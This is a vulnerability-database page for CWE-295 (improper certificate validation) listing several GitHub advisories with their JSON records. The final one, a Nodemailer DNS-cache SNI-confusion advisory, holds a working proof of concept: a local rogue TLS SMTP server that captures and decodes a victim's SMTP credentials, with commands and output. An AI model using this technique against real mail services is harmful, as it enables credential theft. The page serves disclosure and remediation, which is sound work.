Common Weakness Enumeration

CWE-295

Allowed

Improper Certificate Validation

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product does not validate, or incorrectly validates, a certificate.

2268 vulnerabilities reference this CWE, most recent first.

GHSA-6QP5-C345-G9C7

Vulnerability from github – Published: 2022-05-24 17:26 – Updated: 2022-05-24 17:26
VLAI
Details

eM Client before 7.2.33412.0 automatically imported S/MIME certificates and thereby silently replaced existing ones. This allowed a man-in-the-middle attacker to obtain an email-validated S/MIME certificate from a trusted CA and replace the public key of the entity to be impersonated. This enabled the attacker to decipher further communication. The entire attack could be accomplished by sending a single email.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-12618"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-08-20T23:15:00Z",
    "severity": "MODERATE"
  },
  "details": "eM Client before 7.2.33412.0 automatically imported S/MIME certificates and thereby silently replaced existing ones. This allowed a man-in-the-middle attacker to obtain an email-validated S/MIME certificate from a trusted CA and replace the public key of the entity to be impersonated. This enabled the attacker to decipher further communication. The entire attack could be accomplished by sending a single email.",
  "id": "GHSA-6qp5-c345-g9c7",
  "modified": "2022-05-24T17:26:18Z",
  "published": "2022-05-24T17:26:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-12618"
    },
    {
      "type": "WEB",
      "url": "https://www.emclient.com/release-history"
    },
    {
      "type": "WEB",
      "url": "https://www.nds.ruhr-uni-bochum.de/media/nds/veroeffentlichungen/2020/08/15/mailto-paper.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-6QQ2-F6XC-778X

Vulnerability from github – Published: 2022-05-13 01:35 – Updated: 2022-05-13 01:35
VLAI
Details

A vulnerability in the Zero Touch Provisioning feature of the Cisco SD-WAN Solution could allow an unauthenticated, remote attacker to gain unauthorized access to sensitive data by using an invalid certificate. The vulnerability is due to insufficient certificate validation by the affected software. An attacker could exploit this vulnerability by supplying a crafted certificate to an affected device. A successful exploit could allow the attacker to conduct man-in-the-middle attacks to decrypt confidential information on user connections to the affected software.

Severity
7.4 (High)
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-0434"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-10-05T14:29:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the Zero Touch Provisioning feature of the Cisco SD-WAN Solution could allow an unauthenticated, remote attacker to gain unauthorized access to sensitive data by using an invalid certificate. The vulnerability is due to insufficient certificate validation by the affected software. An attacker could exploit this vulnerability by supplying a crafted certificate to an affected device. A successful exploit could allow the attacker to conduct man-in-the-middle attacks to decrypt confidential information on user connections to the affected software.",
  "id": "GHSA-6qq2-f6xc-778x",
  "modified": "2022-05-13T01:35:10Z",
  "published": "2022-05-13T01:35:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-0434"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180905-sd-wan-validation"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/105294"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6R2W-57P9-F5HH

Vulnerability from github – Published: 2024-09-23 21:30 – Updated: 2024-09-23 21:30
VLAI
Details

The Planet Fitness Workouts iOS and Android mobile apps prior to version 9.8.12 (released on 2024-07-25) fail to properly validate TLS certificates, allowing an attacker with appropriate network access to obtain session tokens and sensitive information.

Severity
8.8 (High)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
8.7 (High)
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/S:N/AU:N/R:U/V:D/RE:L/U:Amber
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-43201"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-23T20:15:04Z",
    "severity": "HIGH"
  },
  "details": "The Planet Fitness Workouts iOS and Android mobile apps prior to version 9.8.12 (released on 2024-07-25) fail to properly validate TLS certificates, allowing an attacker with appropriate network access to obtain session tokens and sensitive information.",
  "id": "GHSA-6r2w-57p9-f5hh",
  "modified": "2024-09-23T21:30:47Z",
  "published": "2024-09-23T21:30:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43201"
    },
    {
      "type": "WEB",
      "url": "https://apps.apple.com/us/app/planet-fitness-workouts/id399857015"
    },
    {
      "type": "WEB",
      "url": "https://dontvacuum.me/bugs/pf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:N/R:U/V:D/RE:L/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-6R57-5896-F6F4

Vulnerability from github – Published: 2025-07-08 12:31 – Updated: 2025-07-08 12:31
VLAI
Details

A vulnerability has been identified in SICAM TOOLBOX II (All versions < V07.11). During establishment of a https connection to the TLS server of a managed device, the affected application doesn't check the extended key usage attribute of that device's certificate. This could allow an attacker to execute an on-path network (MitM) attack.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
7.7 (High)
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-31853"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-08T11:15:23Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been identified in SICAM TOOLBOX II (All versions \u003c V07.11). During establishment of a https connection to the TLS server of a managed device, the affected application doesn\u0027t check the extended key usage attribute of that device\u0027s certificate.\nThis could allow an attacker to execute an on-path network (MitM) attack.",
  "id": "GHSA-6r57-5896-f6f4",
  "modified": "2025-07-08T12:31:01Z",
  "published": "2025-07-08T12:31:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31853"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-183963.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-6RCQ-57QM-23Q2

Vulnerability from github – Published: 2022-05-17 00:51 – Updated: 2022-05-17 00:51
VLAI
Details

The D-Link NPAPI extension, as used on D-Link DIR-850L REV. A (with firmware through FW114WWb07_h2ab_beta1) and REV. B (with firmware through FW208WWb02) devices, does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate.

Severity
5.9 (Medium)
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-14420"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-09-13T17:29:00Z",
    "severity": "MODERATE"
  },
  "details": "The D-Link NPAPI extension, as used on D-Link DIR-850L REV. A (with firmware through FW114WWb07_h2ab_beta1) and REV. B (with firmware through FW208WWb02) devices, does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate.",
  "id": "GHSA-6rcq-57qm-23q2",
  "modified": "2022-05-17T00:51:52Z",
  "published": "2022-05-17T00:51:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-14420"
    },
    {
      "type": "WEB",
      "url": "https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6RPM-G6RR-F2WX

Vulnerability from github – Published: 2022-05-24 16:54 – Updated: 2024-04-04 01:47
VLAI
Details

There is Missing SSL Certificate Validation in the pw3270 terminal emulator before version 5.1.

Severity
8.1 (High)
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-15525"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-08-23T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "There is Missing SSL Certificate Validation in the pw3270 terminal emulator before version 5.1.",
  "id": "GHSA-6rpm-g6rr-f2wx",
  "modified": "2024-04-04T01:47:05Z",
  "published": "2022-05-24T16:54:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15525"
    },
    {
      "type": "WEB",
      "url": "https://softwarepublico.gov.br/gitlab/pw3270/principal/compare/efa4ab249821ec351ae986683371043b8ca3c2ea...ff2b10fd56cf1fdae862b44bb0610e20e08de427"
    },
    {
      "type": "WEB",
      "url": "https://www.openwall.com/lists/oss-security/2019/08/26/1"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2019/08/26/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6RRJ-C3MX-RV2M

Vulnerability from github – Published: 2025-10-12 12:30 – Updated: 2025-10-12 12:30
VLAI
Details

A vulnerability was identified in Tomofun Furbo 360 and Furbo Mini. Affected by this issue is some unknown functionality of the component HTTP Traffic Handler. The manipulation leads to improper certificate validation. The attack may be initiated remotely. The attack is considered to have high complexity. The exploitation is known to be difficult. The firmware versions determined to be affected are Furbo 360 up to FB0035_FW_036 and Furbo Mini up to MC0020_FW_074. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
3.7 (Low)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
6.3 (Medium)
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-11633"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-12T12:15:53Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was identified in Tomofun Furbo 360 and Furbo Mini. Affected by this issue is some unknown functionality of the component HTTP Traffic Handler. The manipulation leads to improper certificate validation. The attack may be initiated remotely. The attack is considered to have high complexity. The exploitation is known to be difficult. The firmware versions determined to be affected are Furbo 360 up to FB0035_FW_036 and Furbo Mini up to MC0020_FW_074. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-6rrj-c3mx-rv2m",
  "modified": "2025-10-12T12:30:22Z",
  "published": "2025-10-12T12:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11633"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.328044"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.328044"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.661352"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-6V6P-G8CG-2HGG

Vulnerability from github – Published: 2022-04-01 12:56 – Updated: 2022-04-01 12:56
VLAI
Summary
Improper Certificate Validation in node-sass affects eZ Platform
Details

Certificate validation in node-sass 2.0.0 to 4.14.1 is disabled when requesting binaries even if the user is not specifying an alternative download path. This affects eZ Platform v2.5 only. The maintainers resolved it by replacing node-sass 4.11 with sass 1.32.13. This issue also affects ezsystems/ezplatform and ezsystems/ezplatform-page-builder.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "ezsystems/ezplatform-admin-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.0"
            },
            {
              "fixed": "1.5.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-04-01T12:56:28Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Certificate validation in node-sass 2.0.0 to 4.14.1 is disabled when requesting binaries even if the user is not specifying an alternative download path. This affects eZ Platform v2.5 only. The maintainers resolved it by replacing node-sass 4.11 with sass 1.32.13. This issue also affects ezsystems/ezplatform and ezsystems/ezplatform-page-builder.",
  "id": "GHSA-6v6p-g8cg-2hgg",
  "modified": "2022-04-01T12:56:28Z",
  "published": "2022-04-01T12:56:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ezsystems/ezplatform-admin-ui/security/advisories/GHSA-6v6p-g8cg-2hgg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24025"
    },
    {
      "type": "WEB",
      "url": "https://developers.ibexa.co/security-advisories/ibexa-sa-2022-002-vulnerability-in-node-sass"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-r8f7-9pfq-mjmv"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ezsystems/ezplatform-admin-ui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ezsystems/ezplatform-admin-ui/releases/tag/v1.5.27"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper Certificate Validation in node-sass affects eZ Platform"
}

GHSA-6VCJ-R95X-WJ5W

Vulnerability from github – Published: 2022-05-24 16:59 – Updated: 2024-04-04 02:32
VLAI
Details

Man-in-the-middle vulnerability in Micro Focus Self Service Password Reset, affecting all versions prior to 4.4.0.4. The vulnerability could exploit invalid certificate validation and may result in a man-in-the-middle attack.

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-11674"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-10-22T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Man-in-the-middle vulnerability in Micro Focus Self Service Password Reset, affecting all versions prior to 4.4.0.4. The vulnerability could exploit invalid certificate validation and may result in a man-in-the-middle attack.",
  "id": "GHSA-6vcj-r95x-wj5w",
  "modified": "2024-04-04T02:32:25Z",
  "published": "2022-05-24T16:59:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-11674"
    },
    {
      "type": "WEB",
      "url": "https://www.netiq.com/documentation/self-service-password-reset-44/release-notes-sspr-44-p4/data/release-notes-sspr-44-p4.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6VJ9-MWQ6-2F5V

Vulnerability from github – Published: 2026-09-28 21:56 – Updated: 2026-09-28 21:56
VLAI
Summary
Nodemailer: Process-global DNS cache reuses TLS `servername` across transports, enabling cross-tenant SMTP credential disclosure
Details

Summary

Nodemailer's process-global DNS cache is keyed only by host, but each cache entry also stores the caller-specific TLS servername. When two direct SMTPS transports use the same DNS host with different tls.servername values, the first transport's server name is returned to the second transport and overwrites its explicitly configured value.

As a result, Nodemailer sends the wrong SNI value and verifies the peer certificate against the wrong identity. In a multi-tenant service or SNI-routed SMTP gateway, one tenant can prime the cache so that a victim transport connects to the attacker's TLS virtual host, accepts the attacker's certificate with rejectUnauthorized: true, and sends the victim's SMTP credentials to it.

Affected component

  • Ecosystem: npm
  • Package: nodemailer
  • Repository: https://github.com/nodemailer/nodemailer
  • Tested version: 10.0.1
  • Tested commit: 40d52215aac65b811d7e131bc916f68605efd9d2
  • Runtime-confirmed vulnerable versions: 5.0.0 and 10.0.1
  • Affected versions: >= 5.0.0, <= 10.0.1
  • Patched versions: None known at the time of this report
  • Affected mode: Direct TLS/SMTPS connections (secure: true) where different transports use the same non-IP host and different TLS servername values

The vulnerable cache implementation was introduced in commit 6859b5dd96c8d9f0070a3169a877181b71df4a3b on 2018-12-28. Git history shows v5.0.0 as the first release tag containing that commit. The behavior remains present in v10.0.1.

Details

Root cause

src/shared/index.ts defines one module-global DNS cache, keyed only by the DNS host:

export const dnsCache = new Map<string, DnsCacheEntry>();

Although the cache key contains only host, the cached value contains both DNS addresses and the request-specific TLS identity:

const value: DnsCacheValue = {
    addresses: allAddresses,
    servername: options.servername || host
};

dnsCache.set(host, {
    value,
    expires: Date.now() + (options.dnsTtl || DNS_TTL)
});

On a cache hit, resolveHostname() returns the cached servername without considering the current call's options.servername:

if (!cached.expires || cached.expires >= now) {
    return callback(
        null,
        formatDNSValue(cached.value, {
            cached: true
        })
    );
}

formatDNSValue() copies that stale value into the result:

return Object.assign(
    {
        servername: value.servername,
        host,
        _addresses: addresses
    },
    extra || {}
);

For a direct TLS connection, SMTPConnection.connect() initially copies the current transport's TLS configuration into opts. _resolveAndConnect() then overwrites every truthy field with the cached resolver result, including opts.servername:

Object.assign(opts, this.options.tls || {});

if (this.servername && !opts.servername) {
    opts.servername = this.servername;
}

return this._resolveAndConnect(opts, resolved => {
    this._connectToHost(opts, this.secureConnection);
});

for (const key of Object.keys(resolved!)) {
    if (key.charAt(0) !== '_' && (resolved as { [key: string]: any })[key]) {
        (opts as { [key: string]: any })[key] = (resolved as { [key: string]: any })[key];
    }
}

The resulting opts object is passed to tls.connect(). Node therefore sends the cached server name as SNI and verifies the certificate against that cached name, rather than against the server name explicitly configured for the current transport.

The default DNS cache TTL is five minutes:

const DNS_TTL = 5 * 60 * 1000;

Code path

Tenant A: createTransport({ host: H, secure: true,
                            tls: { servername: attackerName } })
  -> SMTPConnection.connect()
  -> _resolveAndConnect(opts)
  -> shared.resolveHostname({ host: H, servername: attackerName })
  -> dnsCache.set(H, { addresses, servername: attackerName })

Victim: createTransport({ host: H, secure: true,
                          tls: { servername: victimName } })
  -> SMTPConnection.connect()
  -> opts.servername = victimName
  -> _resolveAndConnect(opts)
  -> shared.resolveHostname({ host: H, servername: victimName })
  -> dnsCache.get(H)
  -> returns cached servername = attackerName
  -> _resolveAndConnect overwrites opts.servername
  -> tls.connect({ servername: attackerName })
  -> attacker SNI virtual host and certificate are selected
  -> AUTH transmits victim SMTP credentials

Relevant source locations in the tested revision

  • src/shared/index.ts:184 — five-minute default cache TTL
  • src/shared/index.ts:245 — process-global cache keyed by host
  • src/shared/index.ts:247-262 — cached servername returned by formatDNSValue()
  • src/shared/index.ts:292-323 — host-only lookup and cache-hit return
  • src/shared/index.ts:350-359 — caller-specific servername stored in host-only cache
  • src/smtp-connection/index.ts:713-729 — direct TLS options and resolver call
  • src/smtp-connection/index.ts:741-763 — cached fields overwrite current connection options

PoC

Prerequisites

  • Node.js 20 (tested with Node.js 20.20.2)
  • A checkout/build of Nodemailer 10.0.1
  • OpenSSL to generate the local test certificate

No external SMTP server or network access is required.

1. Generate a certificate for only attacker.test

Create openssl.cnf:

[req]
distinguished_name = dn
x509_extensions = ext
prompt = no

[dn]
CN = attacker.test

[ext]
subjectAltName = DNS:attacker.test
basicConstraints = critical,CA:TRUE
keyUsage = critical,digitalSignature,keyEncipherment,keyCertSign
extendedKeyUsage = serverAuth

Generate the certificate and private key:

openssl req -x509 -newkey rsa:2048 -nodes -days 1 \
  -keyout attacker-key.pem -out attacker-cert.pem -config openssl.cnf

2. Save the following as poc-dns-cache-servername-confusion.mjs

Adjust the two import paths if the PoC is not saved beside the repository checkout.

import fs from 'node:fs';
import tls from 'node:tls';
import nodemailer from '../../nodemailer/dist/esm/nodemailer.js';
import * as shared from '../../nodemailer/dist/esm/shared/index.js';

const cert = fs.readFileSync(new URL('./tls-fixture/attacker-cert.pem', import.meta.url));
const key = fs.readFileSync(new URL('./tls-fixture/attacker-key.pem', import.meta.url));
const observedSni = [];
const observedAuth = [];

const server = tls.createServer({ key, cert }, socket => {
    observedSni.push(socket.servername);
    socket.write('220 attacker.test ESMTP\r\n');
    let input = '';
    socket.on('data', chunk => {
        input += chunk.toString();
        let end;
        while ((end = input.indexOf('\r\n')) >= 0) {
            const line = input.slice(0, end);
            input = input.slice(end + 2);
            if (/^EHLO /i.test(line)) {
                socket.write('250-attacker.test\r\n250 AUTH PLAIN\r\n');
            } else if (/^AUTH /i.test(line)) {
                observedAuth.push(line);
                socket.write('235 2.7.0 Authentication successful\r\n');
            } else if (/^QUIT/i.test(line)) {
                socket.end('221 Bye\r\n');
            } else {
                socket.write('250 OK\r\n');
            }
        }
    });
});

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));

try {
    shared.dnsCache.clear();

    // Tenant A seeds the process-global cache for the shared DNS host.
    const attackerTransport = nodemailer.createTransport({
        host: 'localhost',
        port: server.address().port,
        secure: true,
        auth: { user: 'attacker@example.test', pass: 'attacker-secret' },
        tls: {
            ca: cert,
            servername: 'attacker.test',
            rejectUnauthorized: true
        }
    });
    await attackerTransport.verify();
    attackerTransport.close();

    // The victim explicitly configures a different TLS identity.
    const victimTransport = nodemailer.createTransport({
        host: 'localhost',
        port: server.address().port,
        secure: true,
        auth: { user: 'victim@example.test', pass: 'victim-secret' },
        tls: {
            ca: cert,
            servername: 'victim.test',
            rejectUnauthorized: true
        }
    });
    await victimTransport.verify();
    victimTransport.close();

    const decoded = observedAuth.map(line =>
        line.startsWith('AUTH PLAIN ')
            ? Buffer.from(line.slice('AUTH PLAIN '.length), 'base64').toString()
            : null
    );

    console.log(JSON.stringify({
        attackerConfiguredServername: 'attacker.test',
        victimConfiguredServername: 'victim.test',
        serverObservedSniForBothConnections: observedSni,
        serverReceivedCredentials: decoded
    }, null, 2));
} finally {
    shared.dnsCache.clear();
    await new Promise(resolve => server.close(resolve));
}

3. Build and run

From the Nodemailer checkout:

npm install
npm run build
node ../audit/nodemailer/poc-dns-cache-servername-confusion.mjs

Observed result

{
  "attackerConfiguredServername": "attacker.test",
  "victimConfiguredServername": "victim.test",
  "serverObservedSniForBothConnections": [
    "attacker.test",
    "attacker.test"
  ],
  "serverReceivedCredentials": [
    "\\u0000attacker@example.test\\u0000attacker-secret",
    "\\u0000victim@example.test\\u0000victim-secret"
  ]
}

The victim configured victim.test, but the server observes attacker.test for both handshakes. The local certificate contains only attacker.test, yet the victim connection succeeds with rejectUnauthorized: true and then sends the victim's username and password.

Expected result

The second connection must use victim.test for SNI and certificate hostname verification. With the PoC certificate, it should fail with a hostname mismatch before SMTP authentication occurs. It must never transmit victim credentials after validating the peer as attacker.test.

Impact

The vulnerability affects long-running applications that create multiple Nodemailer transports in one process and let separate tenants or security domains configure transports that share a DNS host. A practical example is an email platform whose SMTP gateway uses SNI to route several customer-specific SMTP endpoints behind one hostname.

An attacker who can create or exercise one transport can prime the global cache with the shared host and the attacker's tls.servername. During the cache lifetime, a victim's direct SMTPS connection to that host can:

  1. send the attacker's server name as SNI;
  2. be routed to the attacker's TLS virtual host;
  3. validate the attacker's certificate against the stale name, even though strict certificate validation is enabled; and
  4. transmit the victim's SMTP username and password to that endpoint.

Possession of SMTP credentials may also let the attacker read or change mail account state where the provider reuses those credentials, or send mail as the victim. The exact secondary impact depends on the SMTP provider.

Where the attacker cannot control an SNI virtual host, stale cross-transport SNI can still cause certificate mismatch failures and cross-tenant availability impact.

Preconditions and limitations

  • Two transports must execute in the same Node.js process within the cache lifetime.
  • They must use the same non-IP host cache key and different tls.servername values.
  • Credential interception requires an endpoint or gateway that routes connections using SNI, or another deployment where the attacker controls the endpoint selected by the stale name.
  • The demonstrated path uses direct SMTPS (secure: true). The STARTTLS upgrade path constructs TLS options separately and is not claimed vulnerable by this report.

Suggested remediation

The DNS cache should store DNS data only. servername is connection-specific TLS policy and should not be persisted in a cache keyed solely by hostname.

One approach is to remove servername from DnsCacheValue and derive the returned value from the current request on every path:

return {
    host: selectedAddress,
    servername: options.servername || options.host || false,
    _addresses: addresses,
    cached: true
};

As defense in depth, _resolveAndConnect() should not overwrite an explicitly configured opts.servername with resolver metadata. Keying the cache by both host and server name would avoid this particular collision, but keeping TLS identity out of a DNS-address cache provides a cleaner separation.

A regression test should create two direct-TLS transports in the same process with the same DNS host and different explicit server names, then assert that each TLS connection observes and verifies its own configured name regardless of cache order.

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nodemailer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "10.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-28T21:56:05Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nNodemailer\u0027s process-global DNS cache is keyed only by `host`, but each cache entry also stores the caller-specific TLS `servername`. When two direct SMTPS transports use the same DNS host with different `tls.servername` values, the first transport\u0027s server name is returned to the second transport and overwrites its explicitly configured value.\n\nAs a result, Nodemailer sends the wrong SNI value and verifies the peer certificate against the wrong identity. In a multi-tenant service or SNI-routed SMTP gateway, one tenant can prime the cache so that a victim transport connects to the attacker\u0027s TLS virtual host, accepts the attacker\u0027s certificate with `rejectUnauthorized: true`, and sends the victim\u0027s SMTP credentials to it.\n\n## Affected component\n\n- **Ecosystem:** npm\n- **Package:** `nodemailer`\n- **Repository:** https://github.com/nodemailer/nodemailer\n- **Tested version:** `10.0.1`\n- **Tested commit:** `40d52215aac65b811d7e131bc916f68605efd9d2`\n- **Runtime-confirmed vulnerable versions:** `5.0.0` and `10.0.1`\n- **Affected versions:** `\u003e= 5.0.0, \u003c= 10.0.1`\n- **Patched versions:** None known at the time of this report\n- **Affected mode:** Direct TLS/SMTPS connections (`secure: true`) where different transports use the same non-IP `host` and different TLS `servername` values\n\nThe vulnerable cache implementation was introduced in commit `6859b5dd96c8d9f0070a3169a877181b71df4a3b` on 2018-12-28. Git history shows `v5.0.0` as the first release tag containing that commit. The behavior remains present in `v10.0.1`.\n\n## Details\n\n### Root cause\n\n`src/shared/index.ts` defines one module-global DNS cache, keyed only by the DNS host:\n\n```ts\nexport const dnsCache = new Map\u003cstring, DnsCacheEntry\u003e();\n```\n\nAlthough the cache key contains only `host`, the cached value contains both DNS addresses and the request-specific TLS identity:\n\n```ts\nconst value: DnsCacheValue = {\n    addresses: allAddresses,\n    servername: options.servername || host\n};\n\ndnsCache.set(host, {\n    value,\n    expires: Date.now() + (options.dnsTtl || DNS_TTL)\n});\n```\n\nOn a cache hit, `resolveHostname()` returns the cached `servername` without considering the current call\u0027s 